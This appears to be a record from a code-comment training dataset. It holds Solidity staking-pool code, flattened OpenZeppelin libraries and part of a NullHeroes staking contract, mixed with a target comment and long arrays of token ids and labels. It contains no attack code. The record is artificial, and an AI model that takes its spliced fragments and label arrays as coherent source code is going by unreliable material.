maxRewardPerPool -= _amount;
rewardToken.safeTransfer(address(msg.sender), _amount);
}
/*
* @dev Update lock to user mode
*/
function setEnableLockToUser(bool _enable) external onlyOwner {
enableLockToUser = _enable;
}
/*
* @dev Update lock duration
*/
function setLockDuration(uint256 _duration) external onlyOwner {
lockDuration = _duration;
}
/*
* @dev Reset user deposit time
*/
function resetUserDepositTime(address _user, uint256 _time) external onlyOwner {
userInfo[_user].depositTime = _time;
}
/**
* @notice It allows the admin to reward tokens
* @param _amount: amount of tokens
* @dev This function is only callable by admin.
*/
function addRewardTokens(uint256 _amount) external onlyOwner {
// Check real amount to avoid taxed token
uint256 previousBalance_ = rewardToken.balanceOf(address(this));
rewardToken.safeTransferFrom(address(msg.sender), address(this), _amount);
uint256 newBalance_ = rewardToken.balanceOf(address(this));
uint256 addedAmount_ = newBalance_ - previousBalance_;
maxRewardPerPool += addedAmount_;
}
/*
* @notice Stop rewards
* @dev Only callable by owner
*/
function stopReward() external onlyOwner {
endTime = block.timestamp;
}
/*
* @notice Stop Freeze
* @dev Only callable by owner
*/
function stopFreeze() external onlyOwner {
freezeStartTime = 0;
freezeEndTime = 0;
}
/*
* @notice Update pool limit per user
* @dev Only callable by owner.
* @param _hasUserLimit: whether the limit remains forced
* @param _maxStakedPerUser: new pool limit per user
*/
function updateMaxStakedPerUser(bool _hasUserLimit, uint256 _maxStakedPerUser) external onlyOwner {
require(hasUserLimit, "Must be set");
if (_hasUserLimit) {
require(_maxStakedPerUser > maxStakedPerUser, "New limit must be higher");
maxStakedPerUser = _maxStakedPerUser;
} else {
hasUserLimit = _hasUserLimit;
maxStakedPerUser = 0;
}
}
/*
* @notice Update reward per block
* @dev Only callable by owner.
* @param _maxStakedPerPool: Max tokens can be staked to this pool
*/
function updateMaxStakedPerPool(uint256 _maxStakedPerPool) external onlyOwner {
maxStakedPerPool = _maxStakedPerPool;
}
/**
* @notice It allows the admin to update start and end times
* @dev This function is only callable by owner.
* @param _startTime: the new start time
* @param _endTime: the new end time
*/
function updateStartAndEndTimes(uint256 _startTime, uint256 _endTime) external onlyOwner {
require(block.timestamp > endTime, "Pool has started");
require(_startTime < _endTime, "Invalid start and end time");
endTime = _endTime;
if (_startTime > block.timestamp) {
startTime = _startTime;
}
emit NewStartAndEndTimes(_startTime, _endTime);
}
/**
* @notice It allows the admin to update freeze start and end times
* @dev This function is only callable by owner.
* @param _freezeStartTime: the new freeze start time
* @param _freezeEndTime: the new freeze end time
*/
function updateFreezeTimes(uint256 _freezeStartTime, uint256 _freezeEndTime) external onlyOwner {
require(_freezeStartTime < _freezeEndTime, "Invalid start and end time");
require(block.timestamp < _freezeStartTime, "Invalid start and current");
freezeStartTime = _freezeStartTime;
freezeEndTime = _freezeEndTime;
emit NewFreezeTimes(freezeStartTime, freezeEndTime);
}
/**
* @notice Update minimum deposit amount
* @dev This function is only callable by owner.
* @param _minDepositAmount: the new minimum deposit amount
*/
function updateMinDepositAmount(uint256 _minDepositAmount) external onlyOwner {
minDepositAmount = _minDepositAmount;
}
/**
* @dev Update withdraw config
* @param _time: time for withdraw
* @param _mode: withdraw mode
* 0: Apply withdrawTime to both (stake + reward)
* 1: Apply withdrawTime to stake
* 2: Apply withdrawTime to reward
*/
function updateWithdrawConfig(uint256 _time, uint256 _mode) external onlyOwner {
withdrawTime = _time;
withdrawMode = _mode;
}
/*
* @notice Return reward multiplier over the given _from to _to time.
* @param _from: time to start
* @param _to: time to finish
*/
function _getMultiplier(uint256 _from, uint256 _to) private view returns (uint256) {
if (_from < startTime) _from = startTime;
if (_to > endTime) _to = endTime;
if (_from >= _to) return 0;
return _to - _from;
}
/*
* @notice transfer reward tokens.
* @param _to: address where tokens will transfer
* @param _amount: amount of tokens
*/
function _safeRewardTransfer(address _to, uint256 _amount) private {
uint256 rewardBal = rewardToken.balanceOf(address(this));
uint256 remaining = getRemainingReward();
if (remaining > rewardBal) {
remaining = rewardBal;
}
if (_amount > remaining) {
claimedRewardPerPool += remaining;
rewardToken.safeTransfer(_to, remaining);
} else {
claimedRewardPerPool += _amount;
rewardToken.safeTransfer(_to, _amount);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
} | Amount after tax of token in Deposit case.
| uint256 amount2; | 6,086,345 | [
1,
6275,
1839,
5320,
434,
1147,
316,
4019,
538,
305,
648,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
3844,
22,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./LEGENDZ.sol";
import "./NullHeroes.sol";
import "./HeroStakes.sol";
contract Lands is HeroStakes {
constructor(address _legendz, address _nullHeroes) HeroStakes(_legendz, _nullHeroes, 10) {
minDaysToClaim = 10 days;
}
function _resolveReward(uint256 _tokenId) internal override returns (uint256) {
return _calculateBaseReward(stakes[_tokenId].lastClaim, _getDailyReward(_tokenId));
}
function estimateReward(uint256 _tokenId) public view override returns (uint256) {
return _calculateBaseReward(stakes[_tokenId].lastClaim, _getDailyReward(_tokenId));
}
function estimateDailyReward() public pure override returns (uint256) {
// estimated daily rate on an average of 22 attribute points
return 110;
}
function estimateDailyReward(uint256 _tokenId) public view override returns (uint256) {
return _getDailyReward(_tokenId);
}
/**
* calculates the daily reward of a hero
* @param _tokenId the tokenId of the hero
* return the daily reward of the corresponding hero
*/
function _getDailyReward(uint256 _tokenId) internal view virtual returns (uint256) {
NullHeroes.Hero memory hero = nullHeroes.getHero(_tokenId);
return 5 * (hero.force + hero.intelligence + hero.agility);
}
}
// contracts/NullHeroes.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/**
* __ __ __ __ __ __
* /\ "-.\ \ /\ \/\ \ /\ \ /\ \
* \ \ \-. \ \ \ \_\ \ \ \ \____ \ \ \____
* \ \_\\"\_\ \ \_____\ \ \_____\ \ \_____\
* www.\/_/ \/_/ \/_____/ \/_____/ \/_____/
* __ __ ______ ______ ______ ______ ______
* /\ \_\ \ /\ ___\ /\ == \ /\ __ \ /\ ___\ /\ ___\
* \ \ __ \ \ \ __\ \ \ __< \ \ \/\ \ \ \ __\ \ \___ \
* \ \_\ \_\ \ \_____\ \ \_\ \_\ \ \_____\ \ \_____\ \/\_____\
* \/_/\/_/ \/_____/ \/_/ /_/ \/_____/ \/_____/ \/_____/.io
*
*
* Somewhere in the metaverse the null heroes compete to farm the
* $LEGENDZ token, an epic ERC20 token that only the bravest will be able
* to claim.
*
* Enroll some heroes and start farming the $LEGENDZ tokens now on:
* https://www.nullheroes.io
*
* - OpenSea is already approved for transactions to spare gas fees
* - NullHeroes and related staking contracts are optimized for low gas fees,
* at least as much as I could :)
*
* made with love by [email protected]
* special credits: NuclearNerds, WolfGame
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
